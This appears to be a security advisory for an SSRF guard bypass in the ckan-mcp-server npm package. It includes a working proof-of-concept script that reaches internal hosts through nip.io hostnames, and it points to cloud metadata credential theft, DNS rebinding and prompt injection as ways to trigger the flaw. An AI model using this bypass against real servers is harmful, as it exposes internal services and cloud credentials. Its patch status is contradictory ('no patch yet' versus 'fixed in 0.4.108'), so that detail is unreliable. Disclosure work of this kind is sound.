GHSA-798p-78g2-v556: SSRF
Summary The SSRF guard validateServerUrl (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied serverurl whose hostname resolves to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (169.254.169.254). This is a third bypass of the same guard, still present in the current latest 0.4.107, and it reaches IMDS — strictly more than CVE-2026-53509, which only reached loopback.
Affected / patched - @aborruso/ckan-mcp-server (npm) — all versions with the guard, through 0.4.107 (current latest). The guard has never resolved DNS. No patch yet.
Severity It is effectively High for the self-hosted unauthenticated HTTP transport (TRANSPORT=http, POST /mcp), where any remote client reaches IMDS/internal hosts directly. The official Cloudflare Worker endpoint is CF-sandboxed (cannot reach loopback/RFC-1918/IMDS).
Root cause — src/utils/http.ts, validateServerUrl The guard blocks IP literals and three loopback alias strings, but does no name resolution: ts const hostname = parsed.hostname.toLowerCase(); if (new Set(['localhost','ip6-localhost','ip6-loopback']).has(hostname)) throw; // string denylist if (hostname.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/)) { / block private/special IPv4 LITERALS / } // no DNS resolution → a hostname that RESOLVES to 127.0.0.1 / 169.254.169.254 / 10.x is allowed Both prior fixes only added literal strings to the denylist (CVE-2026-33060 added the guard; CVE-2026-53509 added ip6-localhost/ip6-loopback). The DNS-resolution gap — the actual root cause — remains. serverurl is a caller-controlled argument (z.string().url()) on every tool, reaching makeCkanRequest (all CKAN tools) and querySparqlEndpoint (sparqlquery). The sink is non-blind: a non-CKAN response is returned to the caller verbatim via CKAN API returned success=false: <body>.
Note: numeric-IP encodings (decimal 2130706433, short 127.1, hex 0x7f.0.0.1) do not bypass — Node's WHATWG new URL() canonicalizes them to dotted-decimal before the regex. Only the DNS-name vector bypasses.
Proof of concept Drives the published server over the MCP protocol via the public ckanpackagesearch tool. Local-only: the loopback server stands in for an internal/IMDS endpoint. sh npm install @aborruso/ckan-mcp-server@0.4.107 @modelcontextprotocol/sdk node poc.mjs js import http from 'node:http'; import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";
const SECRET = 'INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE'; const internal = http.createServer((req, res) => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ Token: SECRET })); // stand-in for an IMDS / internal response }); await new Promise(r => internal.listen(0, '127.0.0.1', r)); const port = internal.address().port;
const client = new Client({ name: "ssrf-poc", version: "1.0.0" }); await client.connect(new StdioClientTransport({ command: "node", args: ["nodemodules/@aborruso/ckan-mcp-server/dist/index.js"] }));
// nip.io is public wildcard DNS: <ip>.nip.io -> <ip>. The guard sees hostname "127.0.0.1.nip.io" // (not a literal, not in its denylist) and allows it; the request resolves to 127.0.0.1. // Use 169.254.169.254.nip.io to reach IMDS on a cloud host. const evil = http://127.0.0.1.nip.io:${port}/; const res = await client.callTool({ name: "ckanpackagesearch", arguments: { serverurl: evil, q: "x" } });
const text = res.content?.[0]?.text || JSON.stringify(res); console.log("SSRF:", text.includes(SECRET) ? "YES — internal server reached, body returned to caller" : "no"); console.log(text.slice(0, 220)); await client.close(); internal.close(); Output: SSRF: YES — internal server reached, body returned to caller CKAN API returned success=false: {"Token":"INTERNAL-ONLY-IAM-CREDENTIALS-AKIAEXAMPLE"} A real attacker uses any domain with an A/AAAA record pointing at an internal IP, or DNS rebinding; nip.io just makes the PoC self-contained.
Impact Caller-controlled SSRF to loopback, RFC-1918 hosts, and 169.254.169.254 (cloud IMDS → IAM credentials), with the response body returned to the caller (non-blind). In the default stdio deployment this requires prompt injection to steer the tool argument; the self-hosted HTTP transport is unauthenticated, so any remote client can trigger it directly.
Suggested fix Resolve the hostname and validate every resolved IP against the private/special ranges, then pin the connection to the validated IP (custom lookup/agent) so a re-resolve cannot rebind to an internal address — or require the existing CKANALLOWEDDOMAINS allowlist (default-deny, especially for the HTTP transport). A hostname-string denylist cannot close this class.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/@aborruso/ckan-mcp-serverto a version that resolves this vulnerability.Fixed in 0.4.108 - Configuration
Require the existing CKAN_ALLOWED_DOMAINS allowlist, using default-deny—especially for the unauthenticated HTTP transport.
@aborruso/ckan-mcp-server CKAN_ALLOWED_DOMAINS = default-deny - Compensating control
Resolve the server hostname, validate every resolved IP against private and special ranges, and pin the connection to the validated IP using a custom lookup or agent so DNS re-resolution cannot rebind to an internal address.
Event History
Frequently Asked Questions
Which deployments are most exposed?
Self-hosted instances using the unauthenticated HTTP transport (TRANSPORT=http) and accepting POST requests at /mcp are the most exposed. A remote client can reach internal hosts and cloud metadata through the server in that configuration.
What does an attacker need to exploit this?
The attacker needs to supply a server_url with a hostname that resolves to an internal address, such as loopback or 169.254.169.254. The validation checks the hostname string but does not resolve DNS before making the request.
Are any currently available package versions unaffected?
No patch is available. All versions containing the guard through 0.4.107, the current latest version, are affected.
Does the official hosted endpoint have the same network exposure?
The official Cloudflare Worker endpoint is Cloudflare-sandboxed and cannot reach loopback, RFC-1918 addresses, or IMDS. The described direct access to those targets applies to the self-hosted unauthenticated HTTP transport.
How can I determine whether my instance is affected?
An instance is affected if it runs a version with the guard through 0.4.107 and allows caller-controlled server_url values. The issue is triggered when a supplied hostname resolves via DNS to an internal or metadata address rather than being an IP literal or one of the blocked loopback alias strings.